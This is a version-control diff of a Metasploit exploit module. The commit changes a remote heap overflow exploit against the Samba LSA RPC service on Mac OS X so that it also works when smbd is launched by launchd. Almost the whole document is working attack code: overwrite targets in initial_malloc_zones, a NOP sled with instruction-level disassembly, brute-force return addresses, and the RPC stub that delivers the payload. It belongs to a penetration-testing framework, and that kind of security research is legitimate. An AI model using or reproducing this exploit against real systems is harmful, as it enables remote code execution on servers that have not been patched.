The Samba lsa_io_trans_names heap overflow exploit module for Mac OS X now also works when the smbd process is started by launchd.

git-svn-id: file:///home/svn/framework3/trunk@5057 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Ramon de C Valle 2007-07-18 17:17:22 +00:00
parent 4c650f865b
commit 490f687f2e
1 changed files with 57 additions and 37 deletions

View File

@ -26,7 +26,7 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
'Description' => %q{ 'Description' => %q{
This module triggers a heap overflow in the LSA RPC service This module triggers a heap overflow in the LSA RPC service
of the Samba daemon. This module uses the szone_free() to overwrite of the Samba daemon. This module uses the szone_free() to overwrite
the size() pointer in initial_malloc_zones structure. the size() or free() pointer in initial_malloc_zones structure.
}, },
'Author' => 'Author' =>
[ [
@ -56,7 +56,7 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
{ {
'Platform' => 'osx', 'Platform' => 'osx',
'Arch' => [ ARCH_X86 ], 'Arch' => [ ARCH_X86 ],
'Nops' => 64 * 1024, 'Nops' => 4 * 1024,
'Bruteforce' => 'Bruteforce' =>
{ {
'Start' => { 'Ret' => 0x01813000 }, 'Start' => { 'Ret' => 0x01813000 },
@ -163,6 +163,14 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
# x86 # x86
if (target.arch.include?(ARCH_X86)) if (target.arch.include?(ARCH_X86))
#
# We don't use the size() pointer anymore because it
# results in a unexpected behavior when smbd process
# is started by lauchd.
#
free_pointer = 0x1800018
nop = "\x16"
# #
# First talloc_chunk # First talloc_chunk
# 16 bits align # 16 bits align
@ -174,55 +182,67 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
# #
# First nop block # First nop block
buf = (('B' * 16) * num_entries) buf = ((nop * 16) * num_entries)
# #
# A nop block of 0x42 (incl %edx) and the address of # A nop block of 0x16 (pushl %ss) and the address of
# 0x1800004 results in a output that is also a valid # 0x1800014 results in a jns instruction which when
# nop-like instruction. # executed will jump over the address written eight
# bytes past our target address by szone_free() (the
# sign flag is zero at the moment our target address is
# executed).
# #
# 0x357b ^ ( 0x1800004 ^ 0x42424242 ) = 0x43c2773d # 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
# #
# This is the output of the sequence of xor operations # This is the output of the sequence of xor operations
# 0: 3d 77 c2 43 42 cmpl $0x4243c277,%eax # 0: 79 23 jns 0x25
# 2: 96 xchgl %eax,%esi
# 3: 17 popl %ss
# 4: 16 pushl %ss
# 5: 16 pushl %ss
# 6: 16 pushl %ss
# 7: 16 pushl %ss
# 8: 14 00 adcb $0x0,%al
# a: 80 01 16 addb $0x16,(%ecx)
# #
# The size() pointer is written eight bytes past our # This jump is needed because the ecx register does not
# target address. # point to a valid memory location in free() context
# 0: 04 00 addb $0x0,%al # (it is zero).
# 2: 80 01 42 addb $0x42,(%ecx)
# #
# This is the code block that will be executed. It is # The jump will hit our nop block which will be executed
# completely valid because %ecx points to 0x1800000 # until it reaches the payload.
# (initial_malloc_zones) at the time of execution.
# 0: 3d 77 c2 43 42 cmpl $0x4243c277,%eax
# 5: 42 incl %edx
# 6: 42 incl %edx
# 7: 42 incl %edx
# 8: 04 00 addb $0x0,%al
# a: 80 01 42 addb $0x42,(%ecx)
# #
# Padding nops # Padding nops
buf << 'B' * 2 buf << nop * 2
# Jump over the pointers # Jump over the pointers
buf << "\xeb\x08" buf << "\xeb\x08"
# Pointers # Pointers
buf << [target_addrs['Ret']].pack('V') buf << [target_addrs['Ret']].pack('V')
buf << [size_pointer - 4].pack('V') buf << [free_pointer - 4].pack('V')
# #
# We expect to hit this nop block or the one before # We expect to hit this nop block or the one before
# the pointers. # the pointers.
# #
buf << 'B' * (3852 - 8 - payload.encoded.length) buf << nop * (3852 - 8 - payload.encoded.length)
# Payload # Payload
buf << payload.encoded buf << payload.encoded
# These nops are truncated # Padding nops
nops = 'B' * (@nops.length) buf << nop * 1024
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
# PPC # PPC
else else
@ -265,19 +285,19 @@ class Exploits::Osx::Samba::LSA_TransNames_Heap < Msf::Exploit::Remote
# Padding # Padding
buf << "A" * (256 - 10) buf << "A" * (256 - 10)
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded
end end
stub = lsa_open_policy(dcerpc)
stub << NDR.long(0) # num_entries
stub << NDR.long(0) # ptr_sid_enum
stub << NDR.long(num_entries) # num_entries
stub << NDR.long(0x20004) # ptr_trans_names
stub << NDR.long(num_entries2) # num_entries2
stub << buf
stub << nops
stub << payload.encoded
print_status("Calling the vulnerable function...") print_status("Calling the vulnerable function...")
begin begin